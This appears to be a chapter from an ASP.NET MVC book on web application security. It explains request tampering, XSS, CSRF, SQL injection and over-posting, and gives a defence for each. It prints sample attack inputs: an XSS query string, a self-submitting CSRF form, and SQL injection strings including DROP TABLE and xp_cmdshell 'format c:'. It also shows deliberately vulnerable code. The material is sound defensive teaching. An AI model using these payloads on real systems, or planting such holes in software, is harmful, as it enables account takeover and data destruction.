The most basic, lowest-level way to send an arbitrary HTTP request is to use the DOS console program telnet instead of a web browser.^[97] Open up a command prompt and connect to a remote host on port 80 by typing telnet www.example.com 80. You can then type in an HTTP request, finishing with a blank line, and the resulting HTML will appear in the command window. This shows that anyone can send to a web server absolutely any set of headers and cookie values.

However, it's difficult to type in an entire HTTP request by hand without making a mistake. It's much easier to intercept an actual web browser request and then to modify it. Fiddler is an excellent and completely legitimate debugging tool from Microsoft that lets you do just that. It acts as a local web proxy, so your browser sends its requests through Fiddler rather than directly to the Internet. Fiddler can then intercept and pause any request, displaying it in a friendly GUI, and letting you edit its contents before it's sent. You can also modify the response data before it gets back to the browser. For full details on how to download Fiddler and set it up, see www.fiddlertool.com/.

For example, if a very poorly designed web site controlled access to its administrative features using a cookie called IsAdmin (taking values true or false), then you could easily gain access just by using Fiddler to alter the cookie value sent with any particular request (Figure 15-1).

Figure 15-1. Using Fiddler to edit a live HTTP request

Similarly, you could edit POST payload data to bypass client-side validation, or send spoofed Request.UrlReferrer information. Fiddler is a powerful and general purpose tool for manipulating HTTP requests and responses, but there are even easier ways of editing certain things:

Unless you treat each separate HTTP request as suspicious, you'll make it easy for malicious or inquisitive visitors to access other people's data or perform unauthorized actions simply by altering query string, form, or cookie data. Your solution is not to prevent request manipulation, or to expect ASP.NET MVC to do this for yousomehow, but to check that each received request is legitimate for the logged-in visitor. For more about setting up user accounts and roles, see Chapter 17. In rare cases where you do specifically need to prevent request manipulation, consider using the MVC Futures project's MvcSerializer class (see Chapter 13's wizard example) with its SerializationMode.Signed or SerializationMode.EncryptedAndSigned option.

With this elementary stuff behind us, let's consider the "real" attack vectors that are most prevalent on the Web today, and see how your MVC application can defend against them.

In Chapter 5, while adding the shopping cart to SportsStore, we narrowly avoided a crippling XSS vulnerability. I didn't mention it at the time, but let me now show you how things could have gone wrong.

CartController's Index() action method takes a parameter called returnUrl, and copies its value into CartIndexViewModel. Then, its view uses that value to render a plain old link tag that can send the visitor back to whatever store category they were previously browsing. In an early draft of Chapter 5, I rendered that link tag roughly as follows:

<a href="<%= Model.ReturnUrl %>">Continue shopping</a>

To see how this navigation feature works, refer back to Figure 5-9 in Chapter 5.

http://yoursite/Cart/Index?returnUrl="+onmousemove="alert('XSS!')"+style="position:
absolute;left:0;top:0;width:100%;height:100%;

<a href="<%: Model.ReturnUrl %>">Continue shopping</a>

<a href="<%= Html.Encode(Model.ReturnUrl) %>">Continue shopping</a>

If you've worked with ASP.NET before, you might be used to a different way of blocking XSS attacks, namely request validation, which Microsoft added to ASP.NET in version 1.1.

To understand the background, you should know that since version 1.0, some Web Forms server controls have automatically HTML-encoded their outputs, and some others have not. There's no clear pattern defining which server controls encode and which do not, so I don't think the inconsistent design was deliberate. Even so, those quirky behaviors couldn't be changed without breaking compatibility for older Web Forms pages. So, how could the ASP.NET 1.1 team provide any coherent protection against XSS?

Their solution was to ignore output encoding altogether, and instead try to filter out dangerous requests at the source. If dangerous requests can't reach an ASP.NET application, then output-encoding inconsistencies are no longer a problem, and security-ignorant developers never have to learn to escape their outputs. Microsoft therefore implemented this XSS filter, known as request validation, and enabled it by default. Whenever it detects a suspicious input, it simply aborts the request, displaying an error message, as shown in Figure 15-2.

Figure 15-2. Request validation blocks any input that resembles an HTML tag.

[ValidateInput(false)]
public class MyController : Controller { ... }

<configuration>
<system.web>
<httpRuntime requestValidationMode="2.0"/>
</system.web>
</configuration>

public class WhitelistingRequestValidator : RequestValidator
{
    readonly static NameValueCollection whitelist = new NameValueCollection{
        { "~/Support/Forum/Post", "messageBody" },
        { "~/Profile/Editor", "lifeHistory" },
        { "~/Profile/Editor", "hobbies" },
    };

    protected override bool IsValidRequestString(HttpContext context, string value,
                  RequestValidationSource source, string key, out int failureIndex)
    {
        if (IsWhitelisted(context, source, key)) {
            failureIndex = 0;
            return true;
        }

        // Validate as normal
        return base.IsValidRequestString(context, value, source,
                                         key, out failureIndex);
    }

    private static bool IsWhitelisted(HttpContext context,
                                        RequestValidationSource source, string key)
    {
        switch (source)
        {
            case RequestValidationSource.Form:
            case RequestValidationSource.QueryString:
                string path = context.Request.AppRelativeCurrentExecutionFilePath;
                string[] allowedValues = whitelist.GetValues(path);
                return allowedValues != null && allowedValues.Contains(key);
            default:
                return false;
        }
    }
}

<configuration>
<system.web>
<httpRuntime requestValidationType="Namespace.WhitelistingRequestValidator" />
</system.web>
</configuration>

Sometimes you can't simply HTML-encode all user input: you want to display a submission with a selected set of allowed, safe HTML tags. In general, that's a very difficult job, because there are hundreds of unexpected ways to hide dangerous markup in well-formed or malformed HTML (for a fantastic list of examples, see http://ha.ckers.org/xss.html). It's not enough just to strip out <script> tags! So, how will you separate the good HTML from the evil?

There's a great project on CodePlex (www.codeplex.com/) called HTML Agility Pack. It's a .NET class library that can parse HTML, taking a good guess at how to interpret malformed markup into a DOM tree-like structure. For download and usage instructions, see www.codeplex.com/htmlagilitypack/.

The following utility class demonstrates how you can use HTML Agility Pack's HtmlDocument object to remove all HTML tags except for those in a whitelist. You can put this class anywhere in your application, and then reference it from your MVC views. Before it will compile, you'll need to add a reference to the HtmlAgilityPack project or compiled assembly.

Notice how the only possible output (coming from the three bold lines) is either HTML-encoded or a whitelisted tag.

public static class HtmlFilter
{
    public static MvcHtmlString Filter(string html, string[] allowedTags)
    {
        HtmlDocument doc = new HtmlDocument();
        doc.LoadHtml(html);

        StringBuilder buffer = new StringBuilder();
        Process(doc.DocumentNode, buffer, allowedTags);

        return MvcHtmlString.Create(buffer.ToString());
    }

    static string[] RemoveChildrenOfTags = new string[] { "script", "style" };
    static void Process(HtmlNode node, StringBuilder buffer, string[] allowedTags)
    {
        switch (node.NodeType)
        {
            case HtmlNodeType.Text:
               buffer.Append(HttpUtility.HtmlEncode(((HtmlTextNode)node).Text));
                break;
            case HtmlNodeType.Element:
            case HtmlNodeType.Document:
                bool allowedTag = allowedTags.Contains(node.Name.ToLower());
                if (allowedTag)
                    buffer.AppendFormat("<{0}>", node.Name);
                if(!RemoveChildrenOfTags.Contains(node.Name))
                    foreach (HtmlNode childNode in node.ChildNodes)
                        Process(childNode, buffer, allowedTags);
                if (allowedTag)
                    buffer.AppendFormat("</{0}>", node.Name);
                break;
        }
    }
}

Now try putting the following into a view:

<%:HtmlFilter.Filter("<b>Hello</b><u><i>world</i></u><script>alert('X'),</script>",
    new string[] { "b", "i", "div", "span" }) /* Only allow these tags */ %>

You'll get the following well-formed, filtered HTML output:

<b>Hello</b><i>world</i>

Note that this filter wipes out all tag attributes unconditionally. If you need to allow some attributes (e.g., <img src="url">), you'll need to add some strong validation for those attributes, because there are plenty of ways to embed script in event handlers, such as onload and onmouseover, and even in src and style attributes (for proof, see www.mozilla.org/security/announce/2006/mfsa2006-72.html).

This isn't a certification that HTML Agility Pack is perfect and introduces no problems of its own, but I've been happy with its performance in several live production applications.

Most of the time, you don't need to render user-supplied values into the middle of a JavaScript block. But if you do, then obviously you must encode those user-supplied values; otherwise, attackers can easily inject arbitrary scripts.

What's not so obvious is how to do that encoding. You could use <%: ... %> or Html.Encode() to HTML-encode the value, but this might cause a different problem because JavaScript and HTML don't represent text in exactly the same way.

For example, you might have some JavaScript that assigns a user-supplied value to a JavaScript variable, as in the following view code, which uses jQuery to query Google's Search API:

<ul id="results"></ul>

<script type="text/javascript">
    $(function () {
        // The following line is the only one that really matters for this example
        var searchTerm = "<%: Model.SearchTerm %>";
        $.getJSON("http://ajax.googleapis.com/ajax/services/search/web?callback=?",
            { q: searchTerm, v: "1.0" },
            function (searchResults) {
                // Clear the results <ul>, then append a <li> for each result
                $("#results").children().remove();
                $.each(searchResults.responseData.results, function () {
                    $("#results").append($("<li>").html(this.title));
                });
            }
        );
    });
</script>

Here, I've used <%: ... %> to HTML-encode the user's value. This is good in that (as far as I can tell) it eliminates XSS vulnerabilities from this line. But it's also bad in that it deforms the user's input.

If the user is trying to search for "Prey" by Michael Crichton, then this string will be encoded as "Prey" by Michael Crichton. JavaScript doesn't understand ", so the searchTerm variable will just hold the encoded value as is. The script will send the mangled value to Google, which may return no results, or poor ones (being confused by the strange search term quot). Hmm, so we don't want to HTML-encode this value, but if we don't encode it, we'll have an XSS vulnerability. What's a web developer to do?

The solution is to choose the correct encoding mechanism to match the scenario. When you're constructing HTML, use HTML encoding. When you're constructing a JavaScript string literal, use JavaScript string encoding. ASP.NET MVC includes a helper method, Ajax.JavaScriptStringEncode(), which is exactly what you need to safely represent a JavaScript string literal. Here's how to fix the preceding code:

var searchTerm = "<%= Ajax.JavaScriptStringEncode(Model.SearchTerm) %>";

Given the same search term as before, this will render as follows, with the quotes correctly escaped for JavaScript:

var searchTerm = ""Prey" by Michael Crichton";

Now our script will send the intended query to Google, and we'll get back useful results. Also, if the user-supplied value contains a line break, Ajax.JavaScriptStringEncode() will correctly replace it with as JavaScript requires, whereas <%: ... %> or Html.Encode() would leave it as is, causing an "unterminated string literal" JavaScript error.

If you keep a record of each client's IP address when their session starts, you can deny any requests that originate from a different IP. That will significantly reduce the threat of session hijacking.

The trouble with this technique is that there are legitimate reasons for a client's IP address to change during the course of a session. They might unintentionally disconnect from their ISP and then automatically reconnect a moment later, being assigned a different IP address. Or their ISP might process all HTTP traffic through a set of load-balanced proxy servers, so every request in the session appears to come from a different IP address.

You can demand that client IP addresses remain unchanged only in certain corporate LAN scenarios where you know that the underlying network will support it. You should avoid this technique when dealing with the public Internet.

In 2002, Microsoft added a valuable security feature to Internet Explorer: the HttpOnly cookie. Since then, it's been adopted as a de facto standard, supported in Firefox since version 2.0.0.5 (July 2007).

The idea is simple: mark a cookie with the HttpOnly flag, and the browser will hide its existence from JavaScript, but will continue to send it in all HTTP requests. That prevents the "phone home" XSS exploit mentioned previously, while allowing the cookie's intended use for session tracking and authentication by the web server.

As a simple rule, mark all your sensitive cookies as HttpOnly unless you have some specific and rare reason to access them from JavaScript on the client. ASP.NET marks ASP.NET_SessionId and .ASPXAUTH as HttpOnly by default, so Forms Authentication is automatically quite well protected. You can apply the flag when you set other cookies as follows:

Response.Cookies.Add(new HttpCookie("MyCookie")
{
    Value = "my value",
    HttpOnly = true
});

It's not a complete defense against cookie stealing, because you might still inadvertently expose the cookie contents elsewhere. For example, if you have an error handling page that shows incoming HTTP headers as debugging aids, then a cross-site script can easily force an error and read the cookie values out of the response page.

Once again, it seems harmless. It's the sort of feature you might implement every day. Unfortunately, anyone can mount a devastating attack by enticing one of your site members to visit the following HTML page, which is hosted on some external domain:

<body onload="document.getElementById('fm1').submit()">
<form id="fm1" action="http://yoursite/UserProfile/Edit" method="post">
<input name="email" value="[email protected]" />
<input name="hobby" value="Defacing websites" />
</form>
</body>

When the exploit page loads, it simply sends a valid form submission to your POST-handling Edit() action method. Assuming you're using some kind of cookie-based authentication system and the visitor currently has a valid authentication cookie, their browser will send it with the request, and your server will take action on the request as if the victim intended it. Windows authentication is vulnerable in the same way. Now the victim's profile e-mail address is set to something under the attacker's control. The attacker can then use your "forgotten password" facility, and they'll have taken over the account and any private information or administrative privileges it holds.

The exploit can easily hide its actions, for example by quietly submitting the POST request using Ajax (i.e., using XMLHttpRequest).

If this example doesn't seem relevant to you, consider what actions someone can take through your application by making a single HTTP request. Can they purchase an item, delete an item, make a financial transaction, publish an article, fire a staff member, or fire a missile?

There are two main strategies to defend against CSRF attacks:

A better option is to have your server generate a secret user-specific token, put it in a hidden form field, and then check that the token is present and correct when the form is submitted. ASP.NET MVC has a ready-made implementation of this technique.

You can detect and block CSRF attacks by combining ASP.NET MVC's Html.AntiForgeryToken() helper and its [ValidateAntiForgeryToken] filter. To protect a particular HTML form, include Html.AntiForgeryToken() inside the form. Here's an example:

<% using(Html.BeginForm()) { %>
<%: Html.AntiForgeryToken() %>
<!-- rest of form goes here -->
<% } %>

This will render something like the following:

<form action="/UserProfile/Edit" method="post">
<input name="__RequestVerificationToken" type="hidden" value="B0aG+O+Bi/5..." />
<!-- rest of form goes here -->
</form>

At the same time, Html.AntiForgeryToken() will give the visitor a cookie whose name begins with __RequestVerificationToken. The cookie will contain the same random value as the corresponding hidden field. This value remains constant throughout the visitor's browsing session.

Next, validate incoming form submissions by adding the [ValidateAntiForgeryToken] attribute to the target action method—for example:

[HttpPost] [ValidateAntiForgeryToken]
public ActionResult Edit(string email, string hobby)
{
    // Rest of code unchanged
}

[ValidateAntiForgeryToken] is an authorization filter that checks that the incoming request has a Request.Form entry called __RequestVerificationToken, that the request comes with a cookie of the corresponding name, and that their random values match. If not, it throws an exception (saying "a required anti-forgery token was not supplied or was invalid.") and blocks the request.

This prevents CSRF, because even if the potential victim has an active __RequestVerificationToken cookie, the attacker won't know its random value, so it can't supply a valid token in the hidden form field. Legitimate visitors aren't inconvenienced—the mechanism is totally silent.

ASP.NET MVC's anti-forgery system has a few other neat features:

This approach to blocking CSRF works well, but there are a few limitations you should be aware of:

The troublesome code is that which dynamically constructs and executes the SQL query (shown in bold). It makes no attempt to validate or encode the user-supplied username or password values, so an attacker can easily log in under any account by supplying the password blah' OR 1=1 --, because the resulting query is as follows:

SELECT 1 FROM [Users] WHERE Username='anyone' AND Password='blah' OR 1=1 --'

Or worse, the attacker might supply a username or password containing '; DROP TABLE [Users] --; or worse still, '; EXEC xp_cmdshell 'format c:' --. Careful restrictions on SQL Server user account permissions may limit the potential for damage, but fundamentally this is a bad situation.

Considering how we used HTML encoding and JavaScript string encoding to block injection attacks earlier in this chapter, it would at first seem logical to look for an equivalent kind of SQL string encoding to block SQL injection attacks (or perhaps to validate incoming values against a blacklist of disallowed character sequences)—for example:

string sql = string.Format(
    "SELECT 1 FROM [Users] WHERE Username='{0}' AND Password='{1}'",
    username.Replace("'", "''"), password.Replace("'", "''"));

But if you're working with SQL Server, please don't use this kind of solution! Not only is it difficult to remember to keep doing it all the time, but there can still be ways to bypass the protection. For example, if the attacker replaces ' with ', you'll translate it to '', but ' is a special control sequence, so the attack is back, and this time it's personal.

The real solution is to use SQL Server's parameterized queries instead of pure dynamic queries. Stored procedures are one form of parameterized query, but it's equally good to send a parameterized query directly from your C# code^[100]—for example:

string query = "SELECT 1 FROM [Users] WHERE Username=@username AND Password=@pwd";
SqlCommand command = new SqlCommand(query);
command.Parameters.Add("@username", SqlDbType.NVarChar, 50).Value = username;
command.Parameters.Add("@pwd", SqlDbType.NVarChar, 50).Value = password;

DataTable results = MyDatabase.ExecuteCommand(command);

This takes parameter values outside the executable structure of the query, neatly bypassing any chance that a cleverly constructed parameter value could be interpreted as executable SQL.

SQL injection vulnerabilities are absolutely devastating, but they aren't such a common problem in newly built applications. One reason is that most web developers are now fully aware of the danger, and the other is that our modern programming platforms often contain built-in protection.

If your data access code is built on almost any object-relational mapping (ORM) tool, such as LINQ to SQL, NHibernate, or Entity Framework, all its queries will be sent as parameterized queries. Unless you do something unusually dangerous—for example, constructing unparameterized HQL or Entity SQL queries^[101] dynamically with string concatenations—the SQL injection danger vanishes.

Any public method on a controller class is an action method by default, and depending on your routing configuration, could be invoked by anybody on the Internet. That's not always what the programmer had in mind. For example, in the following controller, only the Change() method is supposed to be reachable:

public class PasswordController : Controller
{
    public ActionResult Change(string oldpwd, string newpwd, string newpwdConfirm)
    {
        string username = HttpContext.User.Identity.Name;

        // Check that the request is legitimate
        if ((newpwd == newpwdConfirm) && MyUsers.VerifyPassword(username, oldpwd))
            DoPasswordChange(username, newpwd);
        // ... now redirect or render a view...
    }

public void DoPasswordChange(string username, string newpassword)
    {
        // The request has already been validated above
        User user = MyUsers.GetUser(username);
        user.SetPassword(newpassword);
        MyUsers.SaveUser(user);
    }
}

Here, the absentminded programmer (or disgruntled employee) has marked DoPasswordChange() as public (you type it so often, sometimes your fingers get ahead of your brain), creating a fabulously subtle back door. An outsider can invoke DoPasswordChange() directly to change anybody's password.

Normally, there's no good reason to make controller methods public unless they're intended as action methods, because reusable code goes into your domain model or service classes, not into controller classes. However, if you do wish to have a public method on a controller that isn't exposed as an action method, then remember to use the [NonAction] attribute:

[NonAction]
public void DoPasswordChange(string username, string newpassword)
{
    /* Rest of code unchanged */
}

With [NonAction] in place, the MVC Framework won't allow this particular method to match and service any incoming request. Of course, you can still call that method from other code.

I already mentioned this potential risk in Chapter 12, but here's a quick reminder. When model binding populates an object—either an object that you're receiving as an action method parameter, or an object that you've explicitly asked the model binder to update—it will by default write a value to every object property for which the incoming request specifies a value.

For example, if your action method receives an object of type Booking, where Booking has an int property called DiscountPercent, then a crafty visitor could append ?DiscountPercent=100 to the URL and get a very cheap holiday at your expense. To prevent this, you can use the [Bind] attribute to set up a whitelist that restricts which properties model binding is allowed to populate:

public ActionResult Edit([Bind(Include = "NumAdults, NumChildren")] Booking booking)
{
    // ... etc. ...
}

Alternatively, you can use [Bind] to set up a blacklist of properties that model binding is not allowed to populate. See Chapter 12 for more details.